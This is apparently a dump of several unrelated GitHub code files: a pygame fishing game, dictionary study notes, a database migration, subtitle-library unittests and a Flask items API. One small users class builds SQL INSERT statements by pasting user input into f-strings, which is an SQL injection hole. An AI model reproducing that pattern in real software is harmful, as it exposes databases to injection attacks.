Buscar_usuario(nombre)\n pygame.mouse.set_visible(True)\n continuar = True\n # Cargar imagenes varias -----\n img_fondo = pygame.image.load(\"images/fondolobby.png\")\n img_boton_jugar = pygame.image.load(\"images/boton_jugar.png\") # Boton jugar\n img_boton_jugar = pygame.transform.scale(img_boton_jugar, (285, 125))\n img_tutorial = pygame.image.load(\"images/instrucciones.png\")\n img_scoreboard = pygame.image.load(\"images/scoreboard.png\")\n evento = None\n boton_info = botones.Iniciar_boton(4, 650, 10)\n boton_continuar = botones.Iniciar_boton(5, 580, 400)\n boton_score = botones.Iniciar_boton(3, 650, 90)\n # Ciclo del juego -----\n while continuar:\n for eventos in pygame.event.get(): # Detecta los eventos\n if eventos.type == pygame.QUIT: sys.exit() # Si el evento fue presionar la X, se cierra el programa\n evento = eventos\n if a == 4:\n screen.blit(img_tutorial, (10, 0))\n b = boton_continuar.Actualizar(screen, evento, 0)\n if b == 5:\n a = 0\n elif a == 3 and nombre == 'admin': \n screen.blit(img_scoreboard, (0, 0))\n b = boton_continuar.Actualizar(screen, evento, 0)\n if b == 5:\n a = 0\n file = open(\"respaldo.txt\", 'r')\n lineas_separadas = file.readlines()\n file.close()\n posy = 50\n for usua in lineas_separadas:\n usua = usua.replace(\"\\n\", \"\")\n usua = usua.split(':')\n muestra_texto(usua[0]+\" --> \"+usua[2], 28, 360, posy, screen, pygame.font.match_font('arial'))\n posy += 60\n\n else:\n configuracion.get('reloj').tick(configuracion.get('fps')) # Velocidad a la que corre el juego\n\n\n\n screen.blit(img_fondo, (0, 0))\n #screen.fill(configuracion.get('color')) # Rellena el fondo\n #--Las imagenes van despues de esta linea\n\n a = boton_info.Actualizar(screen, evento, 0)\n a = boton_score.Actualizar(screen, evento, a)\n\n muestra_texto(\"maximo puntaje: \"+str(datos_usuario[2]), 26, 370, 50, screen, pygame.font.match_font('arial'))\n muestra_texto(str(datos_usuario[0]), 26, 50, 10, screen, pygame.font.match_font('arial'))\n #muestra_texto(frase_ya, 18, 360, 300, screen, pygame.font.match_font('arial'))\n\n precionado = Crear_boton_jugar(220, 150, screen, img_boton_jugar, evento)\n if precionado:\n continuar = False\n #Pantalla(2, screen) # Cambia de pantalla a pantalla de juego\n\n\n #--Las imagenes van antes de esta linea\n if reproducir:\n pygame.display.update() # Actualiza la imagen de la ventana\n locutor = pyttsx3.init()\n locutor.say(frase_ya)\n locutor.runAndWait()\n reproducir = False\n pygame.display.update()\n return 2\n\n#-- Pantalla 2--#\ndef Escena2(configuracion, screen):\n global puntos2\n # -------------------------Variables de configuracion-----------------\n frecuencia_cajas = 15 # Frecuencia de aparicion de las cajas de carnadas\n continuar = True\n frecuencia = 4 # frecuencia de generacion de los peces en segundos\n siguiente = 0\n\n #Cargar Imagenes varias\n img_fondo_mar = pygame.image.load(\"images/fondo mar.png\") # Fondo del mar\n img_fondo_mar = pygame.transform.scale(img_fondo_mar, (720, 480))\n img_anzuelo = [pygame.image.load(\"images/canna.png\"), \n pygame.image.load(\"images/canna_carnada.png\")] # Carga imagen de anzuelo vacio (0) y con carnada (1)\n rectangulo_anzuelo = img_anzuelo[0].get_rect() # obtiene el rectangulo del anzuelo\n img_contador_carnadas = pygame.image.load(\"images/contador_carnada.png\") # Carga imagen del contador de las carnadas\n img_caja_carnadas = pygame.image.load(\"images/caja_carnadas.png\") # Carga la imagen de la caja de las carnadas\n img_caja_carnadas = pygame.transform.scale(img_caja_carnadas , (50, 50)) # canbia el tamaño de la caja de carnadas\n # Cargar imagenes peces\n imagenes_peces = [pygame.image.load(\"images/pez azul.png\"), # Carga imagen de pez azul\n pygame.image.load(\"images/pez morado.png\"), # Carga imagen de pez morado\n pygame.image.load(\"images/pez rojo.png\"), # Carga imagen de pez rojo\n pygame.image.load(\"images/pez verde.png\"), # Carga imagen de pez verde\n pygame.image.load(\"images/pez_globo.png\"), # Imagen pez globo\n pygame.image.load(\"images/tiburon.png\")] # Imagen tiburon\n imagenes_peces[0] = pygame.transform.scale(imagenes_peces[0], (59, 53)) # Escalar la imagen pez azul\n imagenes_peces[1] = pygame.transform.scale(imagenes_peces[1], (67, 51)) # Escalar la imagen pez morado\n imagenes_peces[2] = pygame.transform.scale(imagenes_peces[2], (161, 76)) # Escalar la imagen pez rojo\n imagenes_peces[3] = pygame.transform.scale(imagenes_peces[3], (95, 61)) # Escalar la imagen pez verde\n imagenes_peces[4] = pygame.transform.scale(imagenes_peces[4], (58, 42)) # Escalar la imagen pez globo\n imagenes_peces[5] = pygame.transform.scale(imagenes_peces[5], (339, 184)) # Escalar la imagen del tiburon\n \n # Botones\n \n #boton_musica = botones.Iniciar_boton(0, 670, 10)\n\n Reproducir_musica(\"sounds/background_music.wav\", 0.6, 3) # Musica de fondo\n anz = Anzuelo(rectangulo_anzuelo, img_anzuelo) # Crea una instancia del anzuelo\n\n while continuar:\n configuracion.get('reloj').tick(configuracion.get('fps')) # Velocidad a la que corre el juego\n pygame.mouse.set_visible(0) # Desaparece el puntero\n \n\n for event in pygame.event.get(): # Detecta los eventos\n if event.type == pygame.QUIT: sys.exit() # Si el evento fue presionar la X, se cierra el programa\n if event.type == 768:\n continuar = False\n siguiente = 1\n pygame.mixer.music.stop()\n screen.fill(configuracion.get('color')) # Rellena el fondo\n #--Las imagenes van despues de esta linea------------------------------\n\n\n screen.blit(img_fondo_mar, (0, 0)) # Mostrar fondo \"mar\"\n\n #boton_musica.Mostrar(screen)\n\n screen.blit(img_contador_carnadas, (5, 5)) # Mostrar el contador de las carnadas\n muestra_texto(\"x \" + str(num_carnadas), 26, 60, 30, screen, pygame.font.match_font('arial')) # Mostrar el numero de carnadas\n\n muestra_texto(str(puntos), 48, 360, 20, screen, pygame.font.match_font('arial')) # Muestra el texto de la puntuacion\n\n #---------------PECES----------------#\n Generar_peces(frecuencia, imagenes_peces) # Se generan los peces\n ind_registro = len(reg_peces) - 1 # Indice del registro\n while ind_registro != -1: # Actualiza los metodos de cada instancia \"peces\"\n reg_peces[ind_registro].movimiento(rectangulo_anzuelo) # Llama a la funcion para mover el pez\n reg_peces[ind_registro].mos(imagenes_peces, screen, rectangulo_anzuelo) # llama a la funcion para visualizar el pez\n reg_peces[ind_registro].Eliminar() # Elimina la intancia si es necesario\n ind_registro -= 1 # Disminuye en uno el numero de indices\n\n #---------------CAJAS CARNADAS----------------#\n Generar_cajas(frecuencia_cajas, img_caja_carnadas) # Genera las cajas de carnadas\n ind_registro_cajas = len(reg_cajas) - 1 # Indice del registro\n while ind_registro_cajas != -1: # Actualiza los metodos de cada instancia \"peces\"\n reg_cajas[ind_registro_cajas].movimiento(rectangulo_anzuelo) # Llama a la funcion para mover el pez\n reg_cajas[ind_registro_cajas].mos(screen, rectangulo_anzuelo) # llama a la funcion para visualizar el pez\n reg_cajas[ind_registro_cajas].Eliminar() # Elimina la intancia si es necesario\n ind_registro_cajas -= 1 # Disminuye en uno el numero de indices\n \n anz.mostrar(rectangulo_anzuelo, img_anzuelo, screen, estado_anzuelo) # muestra el anzuelo en la pantalla\n\n if num_carnadas == 0: # verifica si no hay carnadas\n pygame.mixer.music.stop() # detiene la musica de fondo\n continuar = False\n siguiente = 3\n puntos2 = puntos\n Agregar_puntaje(puntos)\n\n #--Las imagenes van antes de esta linea---------------------------------\n pygame.display.update() # Actualiza la imagen de la ventana\n Resetear()\n return siguiente\n\n#-- Pantalla 2--#\ndef Escena3(configuracion, screen):\n global puntos2\n\n # Cargar imagenes ---\n img_fondo_playa = pygame.image.load(\"images/fondo_playa.png\")\n\n # botones----\n boton_casa = botones.Iniciar_boton(1, 250, 310)\n boton_otravez = botones.Iniciar_boton(2, 320, 310)\n\n continuar = True\n siguiente = 0\n evento = None\n while continuar:\n\n # ------- Variables --------\n\n configuracion.get('reloj').tick(configuracion.get('fps')) # Velocidad a la que corre el juego\n pygame.mouse.set_visible(1) # Desaparece el puntero\n\n for event in pygame.event.get(): # Detecta los eventos\n if event.type == pygame.QUIT: sys.exit() # Si el evento fue presionar la X, se cierra el programa\n evento = event\n\n screen.fill(configuracion.get('color')) # Rellena el fondo\n #--Las imagenes van despues de esta linea------------------------------\n\n screen.blit(img_fondo_playa, (0, 0)) # Mostrar fondo \"mar\"\n\n # botones\n siguiente = boton_casa.Actualizar(screen, evento, siguiente)\n siguiente = boton_otravez.Actualizar(screen, evento, siguiente) \n\n\n if siguiente != 0:\n continuar = False\n muestra_texto(str(puntos2), 65, 340, 220, screen, pygame.font.match_font('arial')) # Muestra la cantidad de puntos oobtenidos\n\n\n #--Las imagenes van antes de esta linea---------------------------------\n pygame.display.update() # Actualiza la imagen de la ventana\n\n return siguiente\n\n\n\n#-------------------------------------------------------------------------------------------------\n#------------- Clases ----------------------------------------------------------------------------\n#-------------------------------------------------------------------------------------------------\n\nclass Anzuelo:\n def __init__(self, rectangulo_anzuelo, img_anzuelo):\n self.conCarnada = 1 # para saber cuando tiene o no carnada\n self.imagenSi = img_anzuelo[0] # se define como imagen iniciar, el anzuelo con carnada\n self.xAnz = 340 # posicion en X del anzuelo\n self.Yanz = 200 # posicion Y del anzuelo\n rectangulo_anzuelo.left = self.xAnz # le da posicion en X al rectangulo\n rectangulo_anzuelo.top = self.Yanz # le da posicion en Y al rectangulo\n\n def mostrar(self, rectangulo_anzuelo, img_anzuelo, screen, estado_anzuelo): # Funcion para mostrar la imagen del anzuelo\n self.conCarnada = estado_anzuelo\n mouse_pos = pygame.mouse.get_pos() # recupera posicion del mouse\n if mouse_pos[1] > 65 and mouse_pos[1] < 460: # Limite Y del anzuelo\n rectangulo_anzuelo.top = mouse_pos[1] - 25 # Actualiza la posicion del anzuelo\n if self.conCarnada == 1: # verifica si tiene carnada o no\n self.imagenSi = img_anzuelo[1] # como tiene carnada, muestra la imagen con carnada\n else:\n self.imagenSi = img_anzuelo[0] # como no tiene carnada, muestra la imagen sin carnada\n screen.blit(self.imagenSi, rectangulo_anzuelo) # Muestra puntero --> anzuelo\n pygame.draw.line(screen, (0, 0, 0), [360, 55], [360, rectangulo_anzuelo.top + 15], 1) # dibujar la linea del anzuelo\n\n def Actualizar_estado(self, x): # funcion para cambiar el estado del anzuelo (con carnada, sin carnada)\n self.conCarnada = x\n\n\nclass Caja_carnada:\n def __init__(self, imagen):\n self.imagen = imagen # Le da la imagen de la caja\n self.existe = True # define si debe eliminarse la entidad o no\n self.atrapado = False # Define si esta atrapado\n self.x = -55 # Pocision en X donde va a aparecer la caja\n self.y = 420 # Pocision en Y donde va a aparecer la caja\n self.pos_x = randrange(0, 2) # 0 o 1: izquierda o derecha\n self.velocidad = 1# 1 o -1 para la direccion de desplazamientos\n if self.pos_x == 1:\n self.x = 720 # aparece desde la derecha\n self.velocidad = -1 # se desplaza hacia la izquierda\n self.rectangulo = imagen.get_rect() # Obtiene el rectangulo de la caja\n self.rectangulo.left = self.x # posicion del rectangulo igual a la X\n self.rectangulo.top = self.y # posicion del rectangulo igual a la Y\n \n def mos(self, screen, rectangulo_anzuelo):\n global estado_anzuelo, num_carnadas\n screen.blit(self.imagen, self.rectangulo) # Mostrar imagen del pez\n if self.rectangulo.top < 70 and estado_anzuelo == 0:\n self.existe = False # el objeto debe eliminarse\n num_carnadas += 3\n self.existe = False\n if self.rectangulo.colliderect(rectangulo_anzuelo) and estado_anzuelo != 2: # verifica si esta colisonando con el anzuelo y si el anzuelo tiene carnada\n estado_anzuelo = 0 # cambia el estado del anzuelo a uno sin caranda\n #puntos += 1 # suma la cantidad de puntos\n #reg_peces.remove(self) # Elimina la instancia del registro\n self.atrapado = True\n\n def movimiento(self, rectangulo_anzuelo): # Metodo para mover la imagen\n if self.atrapado:\n self.rectangulo.top = rectangulo_anzuelo.top # actualiza la posicion del rectangulo a la posicion en Y del mouse\n self.rectangulo.left = rectangulo_anzuelo.left # actualiza la posicion del rectangulo a la posicion en X del mouse\n else:\n self.rectangulo.left += 2*self.velocidad # Aumenta o reduce la pocision en X dependiento de la velocidad\n\n def Eliminar(self): # Metodo para eliminar la entidad si sobrepasa los limites\n global estado_anzuelo\n if self.rectangulo.left < -55 or self.rectangulo.left > 720: # Verifica que la instancia se encuentre dentro de los limites\n reg_cajas.remove(self) # Elimina la instancia del registro\n if not self.existe:\n reg_cajas.remove(self) # Elimina la instancia del registro\n estado_anzuelo = 1\n\n\nclass Peces:\n def __init__(self, t, posA, imagenes_peces):\n self.muerto = False # define si debe borrarse o no la entidad\n self.atrapado = False\n self.posArray = posA # recupera su pocicion inicial en el array\n self.tipo = t # Tipo de pez, sirve para usarlo dentro de la variable que almacena las imagenes de los peces\n self.imagen = imagenes_peces[self.tipo]\n self.x = -self.imagen.get_size()[0] # Posicion X inicial\n self.velocidad = 1 # Velocidad de desplazamiento\n self.y = randrange(120, 440) # Definir pocision aleatoria del eje Y\n self.pos_x = randrange(0,2)\n if self.pos_x == 1:\n self.x = 700\n self.velocidad = -1 # Cambia la direccion en la que se mueve el pez\n self.rectangulo = self.imagen.get_rect() # Guarda el rectangulo de pez\n self.rectangulo.left = self.x # darle posicion al rectangulo en X\n self.rectangulo.top = self.y\n \n def Rotar(self):\n if self.velocidad > 0:\n img = pygame.transform.flip(self.imagen, True, False) # Si avanza a la derecha, le da la vuelta a la imagen\n else:\n img = self.imagen \n if self.atrapado:\n if self.velocidad > 0:\n img = pygame.transform.rotate(self.imagen, -90) # rotar la imagen del pes\n else:\n img = pygame.transform.rotate(self.imagen, -90) # rotar la imagen del pes\n \n return img\n\n def mos(self, imagenes_peces, screen, rectangulo_anzuelo): # Metodo para mostrar la imagen\n global estado_anzuelo, puntos, num_carnadas\n #img = imagenes_peces[self.tipo] # Guarda la imagen del pes\n \n screen.blit(self.Rotar(), self.rectangulo) # Mostrar imagen del pez\n if self.rectangulo.top < 70 and estado_anzuelo == 2:\n self.muerto = True # el objeto debe eliminarse\n puntos += 1 # suma la cantidad de puntos globales\n if self.rectangulo.colliderect(rectangulo_anzuelo) and estado_anzuelo == 1 and num_carnadas != 0: # verifica si esta colisonando con el anzuelo y si el anzuelo tiene carnada\n #puntos += 1 # suma la cantidad de puntos\n num_carnadas -= 1 # resta un en el numero de carnadas\n #reg_peces.remove(self) # Elimina la instancia del registro\n if self.tipo != 4 and self.tipo != 5: # Verifica que no sea un pes negativo\n self.atrapado = True\n estado_anzuelo = 2\n else:\n self.velocidad *= 2.4\n estado_anzuelo = 0\n \n def Eliminar(self): # Metodo para eliminar la entidad si sobrepasa los limites\n global reg_peces, estado_anzuelo\n if self.rectangulo.left < -self.imagen.get_size()[0] and self.velocidad < 0 or self.rectangulo.left > 720 and self.velocidad > 0: # Verifica que la instancia se encuentre dentro de los limites\n reg_peces.remove(self) # Elimina la instancia del registro\n if self.muerto:\n reg_peces.remove(self) # Elimina la instancia del registro\n estado_anzuelo = 1\n\n def movimiento(self, rectangulo_anzuelo): # Metodo para mover la imagen\n if self.atrapado:\n self.rectangulo.top = rectangulo_anzuelo.top # actualiza la posicion del rectangulo a la posicion en Y del mouse\n self.rectangulo.left = rectangulo_anzuelo.left # actualiza la posicion del rectangulo a la posicion en X del mouse\n else:\n self.rectangulo.left += 2*self.velocidad # Aumenta o reduce la pocision en X dependiento de la velocidad\n\n\n\n#-------------------------------------------------------------------------------------------------------------#\n#-------- Funcion principal ----------------------------------------------------------------------------------#\n#-------------------------------------------------------------------------------------------------------------#\n\ndef Main():\n\n # -------------------------Variables de configuracion-----------------\n size = (720, 480) # Tamaño de la ventana\n\n # ------------------------- Variables -------------------------------\n siguiente = 1\n juego = True\n global datos_usuario, posicion_usuario, nombre\n frase = webscraping.main()\n # ----------------------- Login --------------------------------------\n nombre = Login.pantalla_principal()\n datos_usuario = Buscar_usuario(nombre)\n \n\n\n # -----------------------Iniciar las ventanas-------------------------------------------------------------------------------------\n screen = pygame.display.set_mode(size) # Iniciar la ventana\n pygame.display.set_caption(\"Juego de pesca\") # Cambiar nombre de la ventana\n\n while juego:\n siguiente = Pantalla(siguiente, screen) # pantalla principal\n if siguiente == -1:\n juego = False\n\n\nMain() # Llamar a la funcion principal\n","repo_name":"Sebastian2000pk/Juego-de-Pesca","sub_path":"codigo_fuente/Juego_pesca.py","file_name":"Juego_pesca.py","file_ext":"py","file_size_in_byte":26849,"program_lang":"python","lang":"es","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"9856936311","text":"\r\nclass users():\r\n def __init__(self,**kwargs):\r\n self.conn = kwargs['conn']\r\n self.cur = kwargs['cur']\r\n \r\n def get(self):\r\n sql = \"select * from users\"\r\n allusers=self.cur.execute(sql)\r\n self.conn.commit()\r\n return allusers\r\n \r\n def post(self,data):\r\n email = data['email']\r\n name = data['name']\r\n sql = f\"insert into users(name,email) values('{name}','{email}')\"\r\n self.cur.execute(sql)\r\n self.conn.commit() ","repo_name":"sainadh-lev/Basic-react-redux","sub_path":"flaskpractice/users.py","file_name":"users.py","file_ext":"py","file_size_in_byte":510,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"2554853242","text":"# Python Notes on Advanced topics\n\n\"\"\"\nDictionaries\n\nProperties\n- collection data type\n- unordered\n- mutable\n- key-value data type\n\nUsed for JSON like data objects\n\"\"\"\n\n# Define a dictionary with braces\nmyDictionary = {\n \"name\": \"Max\",\n \"age\": 28,\n \"alive\": True,\n}\n\n# Define a dictionary with the constructor function\nmyDictionary = dict(name=\"Mary\", age=24, alive=True)\n\n# Access a value with [] bracket notation\nvalue = myDictionary[\"name\"]\n# If accessing a key that doesn't exist, Python throws a KeyError\n\n# Add a key\nmyDictionary[\"email\"] = \"max28@gmail.com\"\n\n# Overwrite a value\nmyDictionary[\"age\"] = 29\n\n# Delete an item\ndel myDictionary[\"alive\"]\nmyDictionary.pop(\"alive\")\n# Deletes the last item in the dictionary\nmyDictionary.popitem()\n\n# Check if a key exists in a dictionary to avoid KeyError\nif \"name\" in myDictionary:\n print(myDictionary[\"name\"])\n# Or\ntry:\n print(myDictionary[\"name\"])\nexcept:\n print(\"error\")\n\n# Iterate through a dictionary with for in loop\nfor key in myDictionary:\n print(key)\n# Or, grab just keys\nfor key in myDictionary.keys():\n print(key)\n# Or, grab just values\nfor value in myDictionary.values():\n print(value)\n# Or, grab both!\nfor key, value in myDictionary.items():\n print(key, value)\n\n# Copying a dictionary\n# Modifying the copy will ALSO modify the original!\n# Instead...\nmyDictionaryCopy = myDictionary.copy()\n# Or\nmyDictionaryCopy = dict(myDictionary)\n\n# Merge dictionaries with merge\n# This overwrites keys in the dictionary on which you are calling the merge function\nmyDictionary = {\n \"name\": \"Max\",\n \"age\": 28,\n \"email\": \"max28@gmail.com\",\n}\nmyDictionary2 = dict(name=\"Mary\", age=24, alive=True)\nmyDictionary.update(myDictionary2)\nprint(myDictionary) # prints the following dictionary...\n# myDictionary = {\n# \"name\": \"Mary\",\n# \"age\": 24,\n# \"alive\": True,\n# \"email\": \"max28@gmail.com\",\n# }\n\n# Key types, use any immutable types like numbers or even tuples, NOT lists\nmyDictionary = {\n 3: 9,\n 6: 36,\n 9: 81,\n}\n# Be careful when accessing elements using [] notation\nnine = myDictionary[3] # this way, returns 9\n\n# Using tuples as keys\nmyDictionary = {\n (7, 8): 15\n}\n","repo_name":"IanTheG/Notes","sub_path":"Python Notes/dictionaries.py","file_name":"dictionaries.py","file_ext":"py","file_size_in_byte":2149,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"72721309314","text":"\"\"\"empty message\n\nRevision ID: b9b28c9dcacf\nRevises: dd1d14260a57\nCreate Date: 2022-11-25 09:25:49.295418\n\n\"\"\"\nfrom alembic import op\nimport sqlalchemy as sa\n\n\n# revision identifiers, used by Alembic.\nrevision = 'b9b28c9dcacf'\ndown_revision = 'dd1d14260a57'\nbranch_labels = None\ndepends_on = None\n\n\ndef upgrade():\n # ### commands auto generated by Alembic - please adjust! ###\n with op.batch_alter_table('Favorites', schema=None) as batch_op:\n batch_op.drop_constraint('Favorites_user_id_key', type_='unique')\n\n # ### end Alembic commands ###\n\n\ndef downgrade():\n # ### commands auto generated by Alembic - please adjust! ###\n with op.batch_alter_table('Favorites', schema=None) as batch_op:\n batch_op.create_unique_constraint('Favorites_user_id_key', ['user_id'])\n\n # ### end Alembic commands ###\n","repo_name":"m4hidalgo/4G-Codes-SW-RestAPI-Flask","sub_path":"migrations/versions/b9b28c9dcacf_.py","file_name":"b9b28c9dcacf_.py","file_ext":"py","file_size_in_byte":829,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"9444766437","text":"import unittest\nfrom resources.lib.subtitle.srt_subtitle_creator import SrtSubtitleCreator\nfrom resources.lib.subtitle.sub_subtitle_creator import SubSubtitleCreator\nfrom resources.lib.subtitle.create_classical_times import create_classical_times\nfrom resources.lib.subtitle.subtitle import Subtitle\nfrom resources.lib.subtitle.subtitleline import SubtitleLine\n\nclass TestCases(unittest.TestCase):\n def mock_srt(self):\n return [\"1\", \n \"01:12:16,639 --> 01:12:19,057\", \n 'SampleText1\\n', \"SampleText2\\n\", \"\", \n \"2\",\n \"01:15:19,058 --> 01:15:21,226\",\n \"SampleText1 \", \"SampleText2 \", \"\", \"\", \"\"] \n\n def mock_srt_other(self):\n return [\"1\", \n \"00:12:16,639 --> 00:12:19,057\", \n 'SampleText1\\n', \"SampleText2\\n\", \"\", \n \"2\",\n \"02:15:19,058 --> 02:15:21,226\",\n \"SampleText1 \", \"SampleText2 \", \"\", \"\", \"\"] \n\n def mock_sub(self):\n return ['{2133}{34244}SampleText1|SampleText2', \"{32423}{34234}SampleText1 |SampleText3 \"]\n\n def test_srt_subtitlecreator_success(self):\n subtitlecreator = SrtSubtitleCreator(self.mock_srt())\n subtitlecreator.load_subtitle()\n self.assertEqual(len(subtitlecreator.subtitlelines), 2)\n self.assertIsInstance(subtitlecreator.subtitlelines[0], SubtitleLine)\n\n def test_srt_subtitlecreator_fail(self):\n subtitlefile = SrtSubtitleCreator([\"A\", \"B\", \"C\"])\n self.assertRaises(TypeError, subtitlefile.load_subtitle)\n\n def test_srt_subtitlecreator_times(self):\n subtitlecreator = SrtSubtitleCreator(self.mock_srt())\n subtitlecreator.load_subtitle()\n subtitle = subtitlecreator.subtitlelines[0]\n self.assertEqual(4336639, subtitle.startingtime)\n self.assertEqual(4339057, subtitle.endingtime)\n\n def test_srt_subtitlecreator_text_creation(self):\n subtitlecreator = SrtSubtitleCreator(self.mock_srt())\n subtitlecreator.load_subtitle()\n subtitle = subtitlecreator.subtitlelines[1]\n self.assertEqual(subtitle.textlines, [\"SampleText1\", \"SampleText2\"]) \n self.assertEqual(subtitle.text(), \"SampleText1\\nSampleText2\") \n\n def test_sub_subtitlecreator_success(self):\n subtitlecreator = SubSubtitleCreator(self.mock_sub(), 25)\n subtitlecreator.load_subtitle()\n self.assertEqual(len(subtitlecreator.subtitlelines), 2)\n self.assertIsInstance(subtitlecreator.subtitlelines[0], SubtitleLine)\n\n def test_sub_subtitlecreator_fail(self):\n subtitlecreator = SubSubtitleCreator(self.mock_srt(), 25)\n self.assertRaises(TypeError, subtitlecreator.load_subtitle)\n \n def test_sub_subtitlecreator_times(self):\n subtitlecreator = SubSubtitleCreator(self.mock_sub(), 25)\n subtitlecreator.load_subtitle()\n subtitle = subtitlecreator.subtitlelines[0]\n self.assertEqual(85320.0, subtitle.startingtime)\n self.assertEqual(1369760.0, subtitle.endingtime)\n\n def test_sub_subtitlecreator_text_creation(self):\n subtitlecreator = SubSubtitleCreator(self.mock_sub(), 25)\n subtitlecreator.load_subtitle()\n subtitle = subtitlecreator.subtitlelines[1]\n self.assertEqual(subtitle.textlines, [\"SampleText1\", \"SampleText3\"]) \n self.assertEqual(subtitle.text(), \"SampleText1\\nSampleText3\") \n\n def mock_subtitle(self, subtitlefile=None):\n if not subtitlefile:\n subtitlefile = self.mock_srt()\n subtitlecreator = SrtSubtitleCreator(subtitlefile)\n subtitlecreator.load_subtitle()\n return Subtitle(\"mock_filename\", subtitlecreator.subtitlelines, \"utf-8\", None)\n\n def test_seach_in_subtitle(self):\n subtitle = self.mock_subtitle()\n aa = subtitle.search_in_subtitle(\"SampleText1\")\n self.assertIsInstance(aa[0], SubtitleLine)\n self.assertEqual(len(aa), 2)\n\n def test_html_color_change(self):\n subtitle = self.mock_subtitle()\n subtitle.change_html_color(\"00FF00\")\n self.assertIn(\"00FF00\", str(subtitle))\n\n def test_sync_to_chosen_times(self):\n subtitle = self.mock_subtitle()\n subtitle.sync_chosen_lines_to_chosen_times(1000, 100000, 0, 1)\n self.assertEqual(subtitle[0].startingtime, 1000.0)\n self.assertEqual(subtitle[1].startingtime, 100000.0)\n\n def test_sync_two_subtitle(self):\n subtitle = self.mock_subtitle()\n subtitle2 = self.mock_subtitle(self.mock_srt_other())\n subtitle.sync_two_subtitles(subtitle2, 0, -1, 0, -1)\n self.assertEqual(subtitle[0].startingtime, subtitle2[0].startingtime)\n self.assertEqual(subtitle[1].startingtime, subtitle2[1].startingtime)\n\n def test_deletion(self):\n subtitle = self.mock_subtitle()\n del subtitle[0]\n self.assertTrue(subtitle.changed)\n self.assertEqual(len(subtitle), 1)\n\n def test_easy_list(self):\n subtitle = self.mock_subtitle()\n subtitle_per_line, lines = subtitle.easy_list_selector()\n self.assertEqual(lines, [0,0,0,0,0,1,1,1,1,1])\n\n def test_time_conversion(self):\n subtitle = self.mock_subtitle()\n test_time = 346212\n classical_time = create_classical_times(test_time)\n self.assertEqual(test_time, subtitle.create_decimal_times(classical_time)) \n\n def test_time_conversion_reverse(self):\n subtitle = self.mock_subtitle()\n test_time = \"01:33:23,332\"\n decimal_time = subtitle.create_decimal_times(test_time)\n self.assertEqual(test_time, create_classical_times(decimal_time)) \n\n def test_change_text(self):\n subtitle = self.mock_subtitle()\n subtitle.change_text(0, \"newtext1\\nnewtext2\")\n self.assertEqual(subtitle[0].textlines, [\"newtext1\", \"newtext2\"])\n self.assertTrue(subtitle.changed)\n\n def test_shift_forwards(self):\n subtitle = self.mock_subtitle()\n old_start = subtitle[0].startingtime\n subtitle.shift_subtitle(10000)\n self.assertEqual(subtitle[0].startingtime, old_start+10000)\n self.assertTrue(subtitle.changed)\n\n def test_shift_backwards(self):\n subtitle = self.mock_subtitle()\n old_start = subtitle[0].startingtime\n subtitle.shift_subtitle(-10000)\n self.assertEqual(subtitle[0].startingtime, old_start-10000)\n self.assertTrue(subtitle.changed)\n\n def test_stretch_subtitle(self):\n subtitle = self.mock_subtitle()\n old_start = subtitle[0].startingtime\n subtitle.stretch_subtitle(1.2)\n self.assertEqual(old_start*1.2, subtitle[0].startingtime)\n\n def test_shrink_subtitle(self):\n subtitle = self.mock_subtitle()\n old_start = subtitle[0].startingtime\n subtitle.stretch_subtitle(0.8)\n self.assertEqual(old_start*0.8, subtitle[0].startingtime)\n\n def test_stretch_subtitle_correction(self):\n subtitle = self.mock_subtitle()\n old_start = subtitle[0].startingtime\n subtitle.stretch_subtitle(1.2, 1000)\n self.assertEqual(old_start*1.2-1000, subtitle[0].startingtime)\n\n def test_stretch_to_new_end(self):\n subtitle = self.mock_subtitle()\n old_start = subtitle[-1].startingtime\n new_end = 500000.0\n subtitle.stretch_to_new_end(new_end)\n self.assertEqual(subtitle[-1].startingtime, new_end)\n\n def test_shrink_to_new_end(self):\n subtitle = self.mock_subtitle()\n new_end = 5000.0\n subtitle.stretch_to_new_end(new_end)\n self.assertEqual(subtitle[-1].startingtime, new_end)\n\n def test_shift_to_new_start(self):\n subtitle = self.mock_subtitle()\n new_start = 10000\n subtitle.shift_to_new_start(new_start)\n self.assertEqual(new_start, subtitle[0].startingtime)\n\n def test_sync_to_new_times(self):\n subtitle = self.mock_subtitle()\n subtitle.sync_to_times(\"00:10:10:100\", \"01:20:20:100\")\n self.assertAlmostEqual(subtitle[0].startingtime, 610100.0)\n self.assertAlmostEqual(subtitle[-1].startingtime, 4820100.0)\n\nif __name__ == '__main__':\n unittest.main() \n","repo_name":"Allertj/Sublissimo","sub_path":"unittests.py","file_name":"unittests.py","file_ext":"py","file_size_in_byte":8201,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"73446212353","text":"\nfrom flask_login import current_user\nfrom flask import jsonify, request\nfrom flask_cors import cross_origin\n\nfrom server import app\nfrom lib.fs import FileData, FS\nfrom services import Service\nfrom services.item import ItemForm, ItemService, ItemPictureService\n\nfrom bson.objectid import ObjectId\nimport os \nimport json\n\nSERVER_PATH = r'..\\angular-cms\\app'\n\n@app.route('/items/', methods=[\"GET\"])\n@cross_origin(headers=['Content-Type'])\ndef find_items(query):\n query_string = request.query_string\n q = {}\n if ';' in query_string:\n \n args = query_string.split(';')\n for arg in args:\n k,v = arg.split('=')\n if k == '_id':\n q[k] = ObjectId(v);\n else:\n q[k] = v\n else:\n k,v = query_string.split('=')\n if k == '_id':\n q[k] = ObjectId(v);\n else:\n q[k] = v\n \n item_service = ItemService()\n items = item_service.get_items(q) \n return jsonify(items=json.dumps(items))\n\n@app.route('/items', methods=['POST'])\n@cross_origin(headers=['Content-Type'])\ndef save_item():\n item_form = ItemForm()\n item_service = ItemService()\n item_service.save_item(item_form.inputs, item_form.mode)\n \n return jsonify({'success':'true'})\n\n@app.route('/items', methods=[\"GET\"])\n@cross_origin(headers=['Content-Type'])\ndef get_items():\n item_service = ItemService()\n pic_service = ItemPictureService()\n items = item_service.get_items()\n _items = []\n for item in items:\n pics = pic_service.get_item_pictures({'item_id':ObjectId(item['id']), 'order':1})\n if pics != []:\n item['picture_path'] = pics[0]['fpath']\n else:\n item['picture_path'] = ''\n _items.append(item)\n return jsonify(items=json.dumps(_items))\n\n@app.route('/object_id', 